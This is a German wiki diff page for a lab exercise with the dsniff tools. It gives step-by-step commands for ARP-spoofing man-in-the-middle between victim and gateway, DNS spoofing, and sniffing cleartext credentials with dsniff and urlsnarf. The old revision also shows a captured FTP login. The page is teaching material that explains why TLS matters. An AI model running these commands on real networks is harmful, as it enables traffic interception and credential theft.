Dsniff: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(5 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
 +
dsniff ist eine Sammlung klassischer Netzwerk-Audit-Tools (Dug Song, ~2000). Produktiv relevant sind heute nur noch die Layer-2-Werkzeuge '''arpspoof''' und '''dnsspoof'''; die Sniffer (''dsniff'', ''urlsnarf'') dienen als Lehrstück für unverschlüsselte Protokolle.
  
== Dsniff Tools ==
+
Diese Übung zeigt das Kern-Primitiv: ARP-Spoofing als Mensch-in-der-Mitte zwischen Opfer und Gateway. Sie läuft im kontrollierten Lab '''verlässlich''', weil dort weder Dynamic ARP Inspection noch Port-Security aktiv ist.
'''Installation unter Ubuntu oder Debian'''  
+
 
apt-get install dsniff
+
== Lab-Aufbau ==
'''Passwörter spionieren mit dsniff - Beispiele'''
+
 
=Dsniff=
+
Drei Hosts im selben Segment (VirtualBox ''Internes Netzwerk'' oder ''Bridged'').
==sniffen==
+
 
*dsniff -n -i eth1 -s 1500 host  85.10.194.199 -w geheim.dat
+
;Gateway / Router
==auswerten==
+
*10.0.10.1
*dsniff -r geheim.dat
+
;Angreifer (Kali)
-----------------
+
*10.0.10.101
02/06/07 18:51:34 tcp sagittarion.alpha.quadrant.46200 -> neelix.talaxia.de.21 (ftp)
+
;Opfer (Debian / Windows)
USER wuschel
+
*10.0.10.102
PASS suxa
+
 
==Optionen==
+
Interface im Folgenden als <code>eth0</code> – ggf. an die eigene VM anpassen (<code>ip a</code>).
-n                  =  numerische Ausgabe                 
+
 
-i eth1            =  Schnittstelle 
+
== Schritt 1: IP-Forwarding aktivieren ==
-s 1500            =  Länge des Mitschnittes pro Paket
+
 
-w geheim.dat      = schreibe in die Datei 
+
;Ohne Forwarding wird der Opfer-Traffic verworfen (Blackhole) – das Opfer verliert sofort die Verbindung und merkt den Angriff. Forwarding leitet die Pakete transparent weiter:
host 85.10.194.199  = Muster wie bei tcpdump
+
*<code>sysctl -w net.ipv4.ip_forward=1</code>
-r geheim.dat      =  lese aus der Datei
+
 
 +
Kontrolle:
 +
<pre>
 +
sysctl net.ipv4.ip_forward
 +
net.ipv4.ip_forward = 1
 +
</pre>
 +
 
 +
== Schritt 2: arpspoof starten ==
 +
 
 +
Beide Richtungen müssen vergiftet werden: dem Opfer wird vorgegaukelt, der Angreifer sei das Gateway – und dem Gateway, der Angreifer sei das Opfer. Zwei Terminals, je ein Prozess:
 +
 
 +
;Terminal 1 – Opfer vergiften (Angreifer = Gateway):
 +
*<code>arpspoof -i eth0 -t 10.0.10.102 10.0.10.1</code>
 +
;Terminal 2 – Gateway vergiften (Angreifer = Opfer):
 +
*<code>arpspoof -i eth0 -t 10.0.10.1 10.0.10.102</code>
 +
 
 +
Alternativ als Einzeiler mit <code>-r</code> (bidirektional):
 +
*<code>arpspoof -i eth0 -t 10.0.10.102 -r 10.0.10.1</code>
 +
 
 +
== Schritt 3: MITM verifizieren ==
 +
 
 +
;Am Opfer die ARP-Tabelle prüfen – die MAC des Gateways muss jetzt die MAC des Angreifers sein:
 +
*<code>arp -a</code>  (Linux)  bzw.  <code>arp -a</code>  (Windows)
 +
 
 +
;Am Angreifer mitschneiden – der gesamte Opfer-Traffic läuft nun durch:
 +
*<code>tcpdump -i eth0 -n host 10.0.10.102</code>
 +
 
 +
oder grafisch mit Wireshark, Display-Filter:
 +
<pre>
 +
ip.addr == 10.0.10.102
 +
</pre>
 +
 
 +
== Schritt 4 (Erweiterung): dnsspoof ==
 +
 
 +
Aus der MITM-Position lassen sich DNS-Antworten fälschen. Hosts-Datei für die zu spoofenden Namen anlegen:
 +
 
 +
<pre>
 +
# /root/dnsspoof.hosts
 +
10.0.10.101  www.beispiel.int
 +
</pre>
 +
 
 +
;dnsspoof gegen die Anfragen des Opfers starten:
 +
*<code>dnsspoof -i eth0 -f /root/dnsspoof.hosts</code>
 +
 
 +
Auflösungen des Opfers auf <code>www.beispiel.int</code> zeigen jetzt auf den Angreifer.
 +
 
 +
== Schritt 5 (Pointe): Cleartext-Sniffer ==
 +
 
 +
Gegen einen '''absichtlich unverschlüsselten''' Dienst im Lab (HTTP-Login ohne TLS, FTP, Telnet) – nicht als heutige Methode, sondern als Beweis, warum Cleartext gefährlich ist:
 +
 
 +
;HTTP-Requests des Opfers mitlesen:
 +
*<code>urlsnarf -i eth0</code>
 +
;Klartext-Credentials extrahieren:
 +
*<code>dsniff -i eth0</code>
 +
 
 +
Das Opfer meldet sich am unverschlüsselten Dienst an → die Zugangsdaten erscheinen im Klartext beim Angreifer. Das ist die didaktische Auszahlung: '''deshalb TLS'''.
 +
 
 +
== Aufräumen ==
 +
 
 +
;arpspoof mit Strg-C '''sauber''' beenden – es sendet dann korrigierende ARP-Replies und stellt den Originalzustand wieder her:
 +
*<code>Strg-C</code>
 +
 
 +
Nicht hart killen (<code>kill -9</code>), sonst bleibt das Opfer mit falscher ARP-Tabelle zurück und verliert kurzzeitig die Verbindung.
 +
 
 +
;IP-Forwarding zurücksetzen:
 +
*<code>sysctl -w net.ipv4.ip_forward=0</code>
 +
 
 +
== Bewusst nicht Teil dieser Übung ==
 +
 
 +
Diese Tools funktionieren im Lab '''nicht zuverlässig''' und sind daher ausgeklammert:
 +
 
 +
;macof (CAM-Table-Flooding)
 +
*Effekt hängt vom Switch ab. Virtuelle Switches und moderne Hardware-Switches gehen nicht ''fail-open'' → kein reproduzierbarer Mitschnitt. Nur als Konzept erwähnen.
 +
;Echte Switches mit Dynamic ARP Inspection (DAI)
 +
*blocken arpspoof komplett. Deshalb läuft die Übung im kontrollierten Segment ohne DAI/Port-Security.
 +
;sshmitm / webmitm
 +
*aktive MITM gegen SSH/HTTPS über schwache ad-hoc-PKI. Scheitern an Host-Key-Checking, HSTS und Cert-Pinning. Nur als historische Fußnote.
 +
 
 +
== Einordnung ==
 +
 
 +
arpspoof, dnsspoof und macof sind '''übertragbare Primitive''' – sie tauchen in jedem MITM-Werkzeug (Ettercap, Bettercap) wieder auf. Die Sniffer der dsniff-Suite sind '''Lehrstück''', kein Produktiv-Tooling. Wer das Primitiv hier isoliert verstanden hat, durchschaut die All-in-one-Tools danach sofort.

Aktuelle Version vom 24. Juni 2026, 03:19 Uhr

dsniff ist eine Sammlung klassischer Netzwerk-Audit-Tools (Dug Song, ~2000). Produktiv relevant sind heute nur noch die Layer-2-Werkzeuge arpspoof und dnsspoof; die Sniffer (dsniff, urlsnarf) dienen als Lehrstück für unverschlüsselte Protokolle.

Diese Übung zeigt das Kern-Primitiv: ARP-Spoofing als Mensch-in-der-Mitte zwischen Opfer und Gateway. Sie läuft im kontrollierten Lab verlässlich, weil dort weder Dynamic ARP Inspection noch Port-Security aktiv ist.

Lab-Aufbau

Drei Hosts im selben Segment (VirtualBox Internes Netzwerk oder Bridged).

Gateway / Router
  • 10.0.10.1
Angreifer (Kali)
  • 10.0.10.101
Opfer (Debian / Windows)
  • 10.0.10.102

Interface im Folgenden als eth0 – ggf. an die eigene VM anpassen (ip a).

Schritt 1: IP-Forwarding aktivieren

Ohne Forwarding wird der Opfer-Traffic verworfen (Blackhole) – das Opfer verliert sofort die Verbindung und merkt den Angriff. Forwarding leitet die Pakete transparent weiter
  • sysctl -w net.ipv4.ip_forward=1

Kontrolle:

sysctl net.ipv4.ip_forward
net.ipv4.ip_forward = 1

Schritt 2: arpspoof starten

Beide Richtungen müssen vergiftet werden: dem Opfer wird vorgegaukelt, der Angreifer sei das Gateway – und dem Gateway, der Angreifer sei das Opfer. Zwei Terminals, je ein Prozess:

Terminal 1 – Opfer vergiften (Angreifer = Gateway)
  • arpspoof -i eth0 -t 10.0.10.102 10.0.10.1
Terminal 2 – Gateway vergiften (Angreifer = Opfer)
  • arpspoof -i eth0 -t 10.0.10.1 10.0.10.102

Alternativ als Einzeiler mit -r (bidirektional):

  • arpspoof -i eth0 -t 10.0.10.102 -r 10.0.10.1

Schritt 3: MITM verifizieren

Am Opfer die ARP-Tabelle prüfen – die MAC des Gateways muss jetzt die MAC des Angreifers sein
  • arp -a (Linux) bzw. arp -a (Windows)
Am Angreifer mitschneiden – der gesamte Opfer-Traffic läuft nun durch
  • tcpdump -i eth0 -n host 10.0.10.102

oder grafisch mit Wireshark, Display-Filter:

ip.addr == 10.0.10.102

Schritt 4 (Erweiterung): dnsspoof

Aus der MITM-Position lassen sich DNS-Antworten fälschen. Hosts-Datei für die zu spoofenden Namen anlegen:

# /root/dnsspoof.hosts
10.0.10.101   www.beispiel.int
dnsspoof gegen die Anfragen des Opfers starten
  • dnsspoof -i eth0 -f /root/dnsspoof.hosts

Auflösungen des Opfers auf www.beispiel.int zeigen jetzt auf den Angreifer.

Schritt 5 (Pointe): Cleartext-Sniffer

Gegen einen absichtlich unverschlüsselten Dienst im Lab (HTTP-Login ohne TLS, FTP, Telnet) – nicht als heutige Methode, sondern als Beweis, warum Cleartext gefährlich ist:

HTTP-Requests des Opfers mitlesen
  • urlsnarf -i eth0
Klartext-Credentials extrahieren
  • dsniff -i eth0

Das Opfer meldet sich am unverschlüsselten Dienst an → die Zugangsdaten erscheinen im Klartext beim Angreifer. Das ist die didaktische Auszahlung: deshalb TLS.

Aufräumen

arpspoof mit Strg-C sauber beenden – es sendet dann korrigierende ARP-Replies und stellt den Originalzustand wieder her
  • Strg-C

Nicht hart killen (kill -9), sonst bleibt das Opfer mit falscher ARP-Tabelle zurück und verliert kurzzeitig die Verbindung.

IP-Forwarding zurücksetzen
  • sysctl -w net.ipv4.ip_forward=0

Bewusst nicht Teil dieser Übung

Diese Tools funktionieren im Lab nicht zuverlässig und sind daher ausgeklammert:

macof (CAM-Table-Flooding)
  • Effekt hängt vom Switch ab. Virtuelle Switches und moderne Hardware-Switches gehen nicht fail-open → kein reproduzierbarer Mitschnitt. Nur als Konzept erwähnen.
Echte Switches mit Dynamic ARP Inspection (DAI)
  • blocken arpspoof komplett. Deshalb läuft die Übung im kontrollierten Segment ohne DAI/Port-Security.
sshmitm / webmitm
  • aktive MITM gegen SSH/HTTPS über schwache ad-hoc-PKI. Scheitern an Host-Key-Checking, HSTS und Cert-Pinning. Nur als historische Fußnote.

Einordnung

arpspoof, dnsspoof und macof sind übertragbare Primitive – sie tauchen in jedem MITM-Werkzeug (Ettercap, Bettercap) wieder auf. Die Sniffer der dsniff-Suite sind Lehrstück, kein Produktiv-Tooling. Wer das Primitiv hier isoliert verstanden hat, durchschaut die All-in-one-Tools danach sofort.